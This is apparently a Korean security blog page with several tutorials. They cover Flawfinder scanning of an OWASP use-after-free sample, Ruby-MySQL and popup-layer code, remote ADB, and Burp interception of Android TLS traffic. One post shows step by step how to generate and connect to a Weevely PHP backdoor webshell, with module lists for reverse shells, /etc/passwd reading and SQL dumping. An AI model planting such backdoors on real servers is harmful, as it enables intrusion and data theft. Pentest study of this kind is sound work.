(사실 rats 와 같이 테스트를 하였으나, 개인적인 느낌이 flawfinder가 좋아보여서요..)

FlawFinder 설치하기(Install Flawfinder)


데비안 계열 OS를 사용하신 다면 apt 패키지 관리자로 쉽게 설치가 가능합니다.

# apt-get install flawfinder rats

다른 OS를 사용한다면, 웹페이지 or SourceForge에서 다운로드가 가능합니다.

Vendor Site: http://www.dwheeler.com/flawfinder/
SourceForge: http://sourceforge.net/projects/flawfinder/

설치 후 정상적으로 실행됨을 확인하였습니다.

# flawfinder
Flawfinder version 1.31, (C) 2001-2014 David A. Wheeler.
Number of rules (primarily dangerous function names) in C/C++ ruleset: 169
*** No input files


FlawFinder를 이용한 WhiteBox Test(Using FlawFinder for Source code Analysis)


일단 FlawFinder의 메뉴얼을 잠깐 보고갈까 합니다.

# flawfinder -h

flawfinder [--help | -h] [--version] [--listrules]
  [--allowlink] [--followdotdir] [--nolink]
           [--patch filename | -P filename]
  [--inputs | -I] [--minlevel X | -m X]
           [--falsepositive | -F] [--neverignore | -n]
  [--context | -c] [--columns | -C] [--dataonly | -D]
           [--html | -H] [--immediate | -i] [--singleline | -S]
           [--omittime] [--quiet | -Q]
  [--loadhitlist F] [--savehitlist F] [--diffhitlist F]
  [--] [source code file or source root directory]+

  The options cover various aspects of flawfinder as follows.

  Documentation:
  --help | -h Show this usage help.
  --version   Show version number.
  --listrules List the rules in the ruleset (rule database).

  Selecting Input Data:
  --allowlink Allow symbolic links.
  --followdotdir
              Follow directories whose names begin with ".".
              Normally they are ignored.
  --nolink    Skip symbolic links (ignored).
  --patch F | -P F
              Display information related to the patch F
              (patch must be already applied).

  Selecting Hits to Display:
  --inputs | -I
              Show only functions that obtain data from outside the program;
              this also sets minlevel to 0.
  -m X | --minlevel=X
              Set minimum risk level to X for inclusion in hitlist.  This
              can be from 0 (``no risk'')  to  5  (``maximum  risk'');  the
              default is 1.
  --falsepositive | -F
              Do not include hits that are likely to be false  positives.
              Currently,  this  means  that function names are ignored if
              they're not followed by "(", and that declarations of char-
              acter  arrays  aren't noted.  Thus, if you have use a vari-
              able named "access" everywhere, this will eliminate  refer-
              ences  to  this ordinary variable.  This isn't the default,
              because this  also  increases  the  likelihood  of  missing
              important  hits;  in  particular, function names in #define
              clauses and calls through function pointers will be missed.
  --neverignore | -n
              Never ignore security issues, even if they have an ``ignore''
              directive in a comment.
  --regex PATTERN | -e PATTERN
              Only report hits that match the regular expression PATTERN.

  Selecting Output Format:
  --columns | -C
              Show  the  column  number  (as well as the file name and
              line number) of each hit; this is shown after the line number
              by adding a colon and the column number in the line (the first
              character in a line is column number 1).
  --context | -c
              Show context (the line having the "hit"/potential flaw)
  --dataonly | -D
              Don't display the headers and footers of the analysis;
              use this along with --quiet to get just the results.
  --html | -H
              Display as HTML output.
  --immediate | -i
              Immediately display hits (don't just wait until the end).
  --singleline | -S
              Single-line output.
  --omittime  Omit time to run.
  --quiet | -Q
              Don't display status information (i.e., which files are being
              examined) while the analysis is going on.

  Hitlist Management:
  --savehitlist=F
              Save all hits (the "hitlist") to F.
  --loadhitlist=F
              Load hits from F instead of analyzing source programs.
  --diffhitlist=F
              Show only hits (loaded or analyzed) not in F.


  For more information, please consult the manpage or available
  documentation.

일단 Usage를 보면 별도의 옵션 없이 Argument만 넘겨 바로 사용이 가능합니다.
옵션을 주면 더 디테일한 분석이 가능하겠지요.

FlawFinder가 어떤 파일에서 찾을 수 있는지 간단한 UAF 소스코드를 첨부합니다.

#include <stdio.h>
#include <unistd.h>

// code by owasp / reference site
// https://www.owasp.org/index.php/Using_freed_memory

#define BUFSIZER1   512
#define BUFSIZER2   ((BUFSIZER1/2) - 8)

int main(int argc, char **argv) {   
    char *buf1R1;
    char *buf2R1;
    char *buf2R2;
    char *buf3R2;

    buf1R1 = (char *) malloc(BUFSIZER1);
    buf2R1 = (char *) malloc(BUFSIZER1);

    free(buf2R1);

    buf2R2 = (char *) malloc(BUFSIZER2);
    buf3R2 = (char *) malloc(BUFSIZER2);

    strncpy(buf2R1, argv[1], BUFSIZER1-1);
    free(buf1R1);
    free(buf2R2);
    free(buf3R2);

}

OWASP에서 샘플코드로 제공하는 이 코드를 Flawfinder로 분석을 하면 아래와 같이 결과가 나타납니다.

# flawfinder uaf.c
Flawfinder version 1.31, (C) 2001-2014 David A. Wheeler.
Number of rules (primarily dangerous function names) in C/C++ ruleset: 169
Examining uaf.c

FINAL RESULTS:

uaf.c:21:  [1] (buffer) strncpy:
  Easily used incorrectly; doesn't always \0-terminate or check for invalid
  pointers (CWE-120).


ANALYSIS SUMMARY:

Hits = 1
Lines analyzed = 27 in approximately 0.01 seconds (2470 lines/second)
Physical Source Lines of Code (SLOC) = 19
Hits@level = [0]   0 [1]   1 [2]   0 [3]   0 [4]   0 [5]   0
Hits@level+ = [0+]   1 [1+]   1 [2+]   0 [3+]   0 [4+]   0 [5+]   0
Hits/KSLOC@level+ = [0+] 52.6316 [1+] 52.6316 [2+]   0 [3+]   0 [4+]   0 [5+]   0
Minimum risk level = 1
Not every hit is necessarily a security vulnerability.
There may be other security vulnerabilities; review your code!
See 'Secure Programming for Linux and Unix HOWTO'
(http://www.dwheeler.com/secure-programs) for more information.


진행 과정 중 취약 부분에서 대해서 Output이 발생하고 마지막에 전체적인 평가(?)가 기재됩니다.

uaf.c:21:  [1] (buffer) strncpy:
  Easily used incorrectly; doesn't always \0-terminate or check for invalid
  pointers (CWE-120).


21번 줄 strncpy 함수 부분이 취약할 수 있다고 경고합니다.
또한 --regex or -e 옵션을 활용하여 정규식을 적용할 수 있고
--regex PATTERN | -e PATTERN

Ouput 에 대한 설정 또한 가능합니다. -H or --html 옵션으로 웹 페이지 형식으로 바꿔서 표현할 수도 있습니다.

--html | -H


# flawfinder --html ftp_scan.c >> output.html
# fierfox output.html




BlackBox Test는 사람이 직접하는게 좋다고 생각되는데, WhiteBox Test는 코드량이 많아 질수록 툴의 필요성이 많이 늘어나는 것 같습니다. FlawFinder와 같이 코드에 대해 분석을 해주는 툴과 함께라면 좀 더 쉽게 WhiteBox Test를 진행할 수 있겠지요. : )
Share: | Coffee Me:

[RUBY] Ruby에서 MySQL 연동하기(DB Connection 및 SQL Query 전송)

아주 간단하고 금방 작성할 수 있는 부분이지만, 항상 그렇듯이 필요할땐 기억이 나지 않는게 코드인 것 같습니다.
짧게 메모해둘까 합니다.

일단 기본적으로 Ruby랑 Mysql은 깔려있어야 합니다.(당연한 이야기)

추가로 gem 을 이용하여 ruby와 mysql 을 연동하는 모듈을 설치할 것이고, 설치 전 라이브러리가 필요한 사항이 있어 먼저 설치해줍니다.

# apt-get install libmysqlclient-dev

apt 패키지나, gem을 이용하여 ruby에서의 mysql 연동 모듈을 설치합니다.

# apt-get install ruby-mysql
# gem install mysql


ruby 쉘에서 require 하여 확인해보면 정상적으로 로드됨을 알 수 있습니다.

# irb
2.1.5 :001 > require 'mysql'
 => true


이제 간단한 코드를 통해 db 연동 부분을 작성합니다. 타 언어에 비해 매우 짧습니다.
(물론 요즘 대부분의 언어들이 간편하지요..)


host = "127.0.0.1";
user = "root";
pw = "YOURPASSWORD";
dbname = "DATABASE_NAME";

# Database Connection
begin
  conn = Mysql.new(host,user,pw,dbname)
rescue Mysql::Error => e
  puts e.errno
  puts e.error
ensure
  con.close if con
end

위 코드에서 핵심은 Mysql.new를 통해 입력받은 인자값으로 connection을 생성하고 이를 통해 db와의 소통부분을 제어하는 것 입니다.
아래 코드에서 연결된 connection(conn)에 query 메소드를 통해 연결된 database로 쿼리를 날릴 수 있습니다.

# Database Query (SELECT 
result = conn.query("select * from #{$db_table}")
result.each_hash { |h| puts h['test_key']}  
conn.close  

Sample code for Ruby&MySQL


host = "127.0.0.1";
user = "root";
pw = "YOURPASSWORD";
dbname = "DATABASE_NAME";

# Database Connection
begin
  conn = Mysql.new(host,user,pw,dbname)
rescue Mysql::Error => e
  puts e.errno
  puts e.error
ensure
  con.close if con
end

# Database Query (SELECT 
result = conn.query("select * from #{$db_table}")
result.each_hash { |h| puts h['test_key']}  
conn.close  
Share: | Coffee Me:

12/12/2015

[CODING] HTML/Javascript 를 이용한 팝업 레이어 만들기 :: Code for Popup Search Layer

블로그 디자인 수정 중 검색 부분에 재미있는 생각이 나서 약간 작업을 하였습니다.
기존에 쓰던 검색창은 블로그에서 바로 보이고 입력 후 검색하는 방법으로 구성하였는데, 클릭하여 따로 팝업을 띄운 후 거기서 검색하는 방법이 더 좋을 것 같다는 생각에 수정하였습니다.

일단 팝업 검색창을 띄울 레이어를 생성합니다.
간단하게 div 태그로 구역을 지정하고, style 을 설정하였습니다.

<div id="SearchLayer" style="position:absolute;z-index:999;display:none; width:100%; height:90%;
background: none rgba(0, 0, 0, 0.9);
filter: progid:DXImageTransform.Microsoft.Gradient(startColorstr='#80000000', endColorstr='#80000000');
" align='center'>
<table valign="middle" height=100%><tr><td >
<input type='text'><input type='submit'><br>
...
<br><br>
<font size='3' color='white' onclick='CloseSearch()'>Close</font>
</td></tr></table>
</div>
블로그에 적용하기 전에 테스트 코드로 짜서 테스트하느라, 실제 적용된거랑은 약간 차이가 있겠지요.
여기서 처음 접속시에는 보이지 않게하기 위해서 display:none; 을 지정하였습니다.

그다음 매번 클릭 시 나타났다, 없어졌다를 반복하기 위해서 해당 div를 제어하는 js를 작성합니다.

<script type="text/javascript">
function ViewSearch(){
        document.getElementById("SearchLayer").style.display='inline'
    }
function CloseSearch(){
        document.getElementById("SearchLayer").style.display='none'
    }
</script>
getElementById로 div 의 id를 찾은 후 style로 노출 유무를 지정해주시면 됩니다.
마지막으로 방금 만든 ViewSearch() 함수와 CloseSearch() 함수를 실행하는 부분을 작성해주시면 됩니다.
테스트할때는 그냥 a 태그로 했었고, 실제 적용에는 메뉴바에서 해당 함수를 호출하도록 해놨습니다.

<a href="javascript:ViewSearch();">HAHWUL_TEST</a>
실제 이런식으로 적용이 되었지요.



테스트 진행하며 만들었던 html 전체 코드입니다.

<html>
<head>
<title></title>
</head>
<body>
<script type="text/javascript">
function ViewSearch(){
        document.getElementById("SearchLayer").style.display='inline'
    }
function CloseSearch(){
        document.getElementById("SearchLayer").style.display='none'
    }
</script>

<div id="SearchLayer" style="position:absolute;z-index:999;display:none; width:100%; height:90%;
background: none rgba(0, 0, 0, 0.9);
filter: progid:DXImageTransform.Microsoft.Gradient(startColorstr='#80000000', endColorstr='#80000000');
" align='center'>
<table valign="middle" height=100%><tr><td >
<input type='text'><input type='submit'><br>
...
<br><br>
<font size='3' color='white' onclick='CloseSearch()'>Close</font>
</td></tr></table>
</div>
<a href="javascript:ViewSearch();">HAHWUL_TEST</a>
</body>
</html>

Share: | Coffee Me:

12/07/2015

[WEB HACKING] Weevely를 이용하여 Stealth Webshell 만들기(weevely 설치 및 사용)

Web Hacking 에서 가장 파급력이 강한 공격이라고 생각되는 웹쉘에 관한 이야기입니다.
보통 많이 알려진 r57등의 쉘을 사용하거나 one line shell을 사용하기 나름인데 찾다보니 좋은 툴이 있어 겸사겸사 작성하였습니다.



Weevely라는 이 툴은 Web Shell Generator입니다.
(저도 예전에 비슷한걸 만들어 보았지만.. 성능면에서 차이가 크군요.)

이 Weevely는 Kali Linux에 기본 툴로 탑재될 만큼 많이 알려지고, 효과또한 좋은 툴입니다.
이 툴을 이용하여 Webshell 생성을 해보도록 하겠습니다.

Weevely 설치하기(Install Weevely & Package)

git 을 이용하여 clone 생성
# git clone https://github.com/epinna/weevely3.git
# cd weevely3

관련 패키지 설치
# pip install prettytable
# apt-get install python-yaml

정상 설치 확인
# python weevely.py

[+] weevely 3.2.0
[!] Error: too few arguments

[+] Run terminal to the target
    weevely <URL> <password> [cmd]

[+] Load session file
    weevely session <path> [cmd]

[+] Generate backdoor agent
    weevely generate <password> <path>

Excute weevely - 쉘 파일 생성하기


# python weevely.py generate hahwul ./shell
Generated backdoor with password 'hahwul' in './shell' of 1449 byte size.


Excute weevely - 원격지 Weevely 쉘 접근하기

# python weevely.py 127.0.0.1/vul_test/shell.php hahwul[password]

[+] weevely 3.2.0

[+] Target: 127.0.0.1
[+] Session: /root/.weevely/sessions/127.0.0.1/test_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

www-data@VUL_TEST:/var/www/html $ help

 :audit_filesystem     Audit system files for wrong permissions.                          
 :audit_etcpasswd      Get /etc/passwd with different techniques.                        
 :audit_suidsgid       Find files with SUID or SGID flags.                                
 :audit_phpconf        Audit PHP configuration.                                          
 :bruteforce_sql       Bruteforce SQL database.                                          
 :system_info          Collect system information.                                        
 :system_extensions    Collect PHP and webserver extension list.                          
 :backdoor_reversetcp  Execute a reverse TCP shell.                                      
 :backdoor_tcp         Spawn a shell on a TCP port.


Troubleshooting

설치 후 실행과정에서 발생할 수 있는 에러에 대한 처리방법입니다.
일단 제가 발생했던 문제는 generate 후 해당 쉘에 대해 접근 시 발생한 pysocks 관련 에러입니다.

ImportError: No module named socks
ImportError: No module named sockshandler

socks, sockshandler 모듈이 없다는 에러를 각각 만나게 되었고, 패키지 설치로 쉽게 해결이 가능합니다.

1. ImportError: No module named socks
# pip install socksipy-branch

2. ImportError: No module named sockshandler
# apt-get install python-pysocks

혹시나 2가지 방법으로도 안된다면 PySock 최신 버전을 받아 사용하시면 됩니다.

https://pypi.python.org/pypi/PySocks/ 접근 후 PySock 파일을 다운로드 받습니다.

압축 해제 후 set.py 를 통해 설치하시면 됩니다.
# tar -xvf PySocks-1.5.6.tar.gz 
PySocks-1.5.6/
PySocks-1.5.6/PKG-INFO
PySocks-1.5.6/setup.py
PySocks-1.5.6/socks.py
PySocks-1.5.6/sockshandler.py

# cd PySocks-1.5.6/
# python setup.py install

그러면 아래와 같이 정상적으로 실행되는 것으로 확인할 수 있습니다.

# weevely http://127.0.0.1/test.php hahwul 

[+] weevely 3.2.0

[+] Target: 127.0.0.1
[+] Session: /root/.weevely/sessions/127.0.0.1/test_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

Manual & Custom Shell

Maunal
+--------------------+------------------------------------------------------+
| generator          | description                                          |
+--------------------+------------------------------------------------------+
| :generate.img      | Backdoor existing image and create related .htaccess |
| :generate.htaccess | Generate backdoored .htaccess                        |
| :generate.php      | Generate obfuscated PHP backdoor                     |
+--------------------+------------------------------------------------------+
+----------------------+------------------------------------------------------------------------------+
| module               | description                                                                  |
+----------------------+------------------------------------------------------------------------------+
| :audit.systemfiles   | Find wrong system files permissions                                          |
| :audit.userfiles     | Guess files with wrong permissions in users home folders                     |
| :audit.mapwebfiles   | Crawl and enumerate web folders files permissions                            |
| :audit.phpconf       | Check php security configurations                                            |
| :audit.etcpasswd     | Enumerate users and /etc/passwd content                                      |
| :shell.sh            | Execute system shell command                                                 |
| :shell.php           | Execute PHP statement                                                        |
| :system.info         | Collect system informations                                                  |
| :find.name           | Find files with matching name                                                |
| :find.perms          | Find files with write, read, execute permissions                             |
| :find.suidsgid       | Find files with superuser flags                                              |
| :backdoor.reversetcp | Send reverse TCP shell                                                       |
| :backdoor.tcp        | Open a shell on TCP port                                                     |
| :bruteforce.sql      | Bruteforce SQL username                                                      |
| :bruteforce.sqlusers | Bruteforce all SQL users                                                     |
| :file.read           | Read remote file                                                             |
| :file.webdownload    | Download web URL to remote filesystem                                        |
| :file.mount          | Mount remote filesystem using HTTPfs                                         |
| :file.enum           | Enumerate remote paths                                                       |
| :file.upload2web     | Upload binary/ascii file into remote web folders and guess corresponding url |
| :file.check          | Check remote files type, md5 and permission                                  |
| :file.rm             | Remove remote files and folders                                              |
| :file.ls             | List directory contents                                                      |
| :file.touch          | Change file timestamps                                                       |
| :file.download       | Download binary/ascii files from the remote filesystem                       |
| :file.upload         | Upload binary/ascii file into remote filesystem                              |
| :file.edit           | Edit remote file                                                             |
| :sql.console         | Run SQL console or execute single queries                                    |
| :sql.dump            | Get SQL database dump                                                        |
| :net.ifaces          | Print interfaces addresses                                                   |
| :net.proxy           | Install and run Proxy to tunnel traffic through target                       |
| :net.phpproxy        | Install remote PHP proxy                                                     |
| :net.scan            | Port scan open TCP ports                                                     |
+----------------------+------------------------------------------------------------------------------+

Custom Shell 관련해서는 이부분 참고하시면 좋을 것 같습니다.
https://github.com/epinna/weevely3/wiki/developing-a-new-module


Reference Site

https://github.com/epinna/weevely3
https://github.com/epinna/weevely3/wiki#getting-started

Share: | Coffee Me:

12/03/2015

[ANDROID] ADB를 이용한 Android Remote Shell/Debugging (with ADB)

앱 분석 도중 USB 케이블 접지 불량으로 USB를 통한 ADB 사용이 어려워져 Adb Remote 연결에 대한 부분을 찾아보았고, 정리 차원에서 작성합니다.




USB 케이블이 있을 때 PC의 adb를 이용하여 설정하는 방법과 App 을 이용하여 설정하는 방법 정도가 있습니다.

1. adb 명령어를 이용한 원격 디버깅 설정(via USB)

# adb tcpip 5555

하면 재설정을 진행하며, 5555 포트를 오픈하게 됩니다.

이상태에서 PC에서 아래 명령으로 안드로이드 디바이스에 ADB로 접근할 수 있습니다.
# adb connect 192.168.0.2 [Target IP]

연결이 성공하면 adb 상에서 원격 디바이스로 모바일 폰을 인식하게 됩니다.
adb devices 명령을 통해 확인하면 ip와 연결 포트가 확인됩니다.

# adb devices
List of devices attached
192.168.0.2:5555        device


# adb shell
shell@noonpentest:/ $

2. App을 이용한 원격 디버깅 설정

위 1번 기능을 App으로 지원하는게 있을까 해서 찾아보다가 ADB Konnect라는 앱을 찾았습니다.
앱에 대해서 직접 검증해보진 않았지만 간단한 터치 동작으로 모바일 디바이스를 원격 디버깅 모드로 설정할 수 있습니다.

PlayStore -> ADB Konnect App 설치 -> 실행

아래와 같이 실행화면이 나옵니다. 원터치로 ADB Server에 대해 ON/OFF가 가능하며, 안드로이드 디바이스 IP도 바로 알려주어
쉽게 확인할 수 있습니다. 1번과 동일한 방법으로 PC에서 접근하면 ADB 연결이 성공합니다.

# adb connect 192.168.0.2 [Target IP]


연결이 성공하면 adb 상에서 원격 디바이스로 모바일 폰을 인식하게 됩니다.

# adb devices
List of devices attached
192.168.0.2:5555        device


# adb shell
shell@noonpentest:/ $
Share: | Coffee Me:

12/02/2015

[WEB HACKING] Burp Suite를 통한 Android SSL Packet 분석(Android Proxy + SSL Certificate)

Android 분석 중 발생하는 패킷에 대해 분석할 때 대부분 tcpdump + wireshark 조합을 많이 사용하게 됩니다. 그 중 http 패킷에 대해서는 wireshark 보다 익숙한 burp가 좋기 때문에 프록시를 burp로 걸고 보는 경우가 많았지요.

그 중 burp에서 SSL 관련 패킷에 대해 확인이 안되어 좀 찾아본 결과 쉬운 방법으로 burp에서 Android SSL이 적용된 요청을 확인할 수 있었습니다.

Burp suite 인증서 다운로드(Download burp certificate)

PC나 Android Device에서 burp 페이지(burp 서버 페이지 / ex: 127.0.0.1:8080) 접근 후 우측 상단의 "CA Certificate" 메뉴를 클릭하여 인증서를 다운로드 받습니다.



테스트에서는 PC웹을 통해 다운로드 후 ADB or 파일 관리자를 통해 안드로이드 기기에 인증서를 설치하였습니다. 앱에서 직접 접근해서 받은 후 설치하셔도 됩니다.


 다운로드 받은 인증서의 파일 확장자를 der에서 cer로 변환합니다.

cacert.der -> cacert.cer

## 혹시 Burp PC로 접근이 불가할 경우(Android Device or 타 PC 접근 시)
이 경우 대부분 Proxy 설정이 localhost만 허용되어 발생하는 문제입니다. Burp Proxy 설정에서 접근할 PC/Device IP나 *로 설정하여 접근이 가능하도록 바꿔주세요.



Android Menu에서 인증서 설치하기


변환 후 Android 설정 메뉴 중 보안 메뉴에서 저장소에서 인증서를 가져와 설치합니다.

설정 -> 보안 -> 디바이스 저장공간에서 가져와 설치 -> cacert.cer 탭하여 설치





설치 후 Android에서 Proxy를 설정하여 Burp Suite 에서 확인할 수 있습니다.


Proxy 설정을 통해 SSL 패킷을 Burp로 보내기

무선랜 설정 시 고급 옵션을 사용하거나, ProxyDroid 같은 Toolkit을 이용하여 프록시를 Burp가 실행되는 PC로 지정해줍니다. 안드로이드 요청이 Burp PC로 프록시를 타고 나가게 되며 Burp단의 인증서가 설치되었기 때문에 Burp에서 SSL 패킷에 대해서도 잡을 수 있습니다.

Reference

https://support.portswigger.net/customer/portal/articles/1841102-Mobile%20Set-up_Android%20Device%20-%20Installing%20CA%20Certificate.html
Share: | Coffee Me: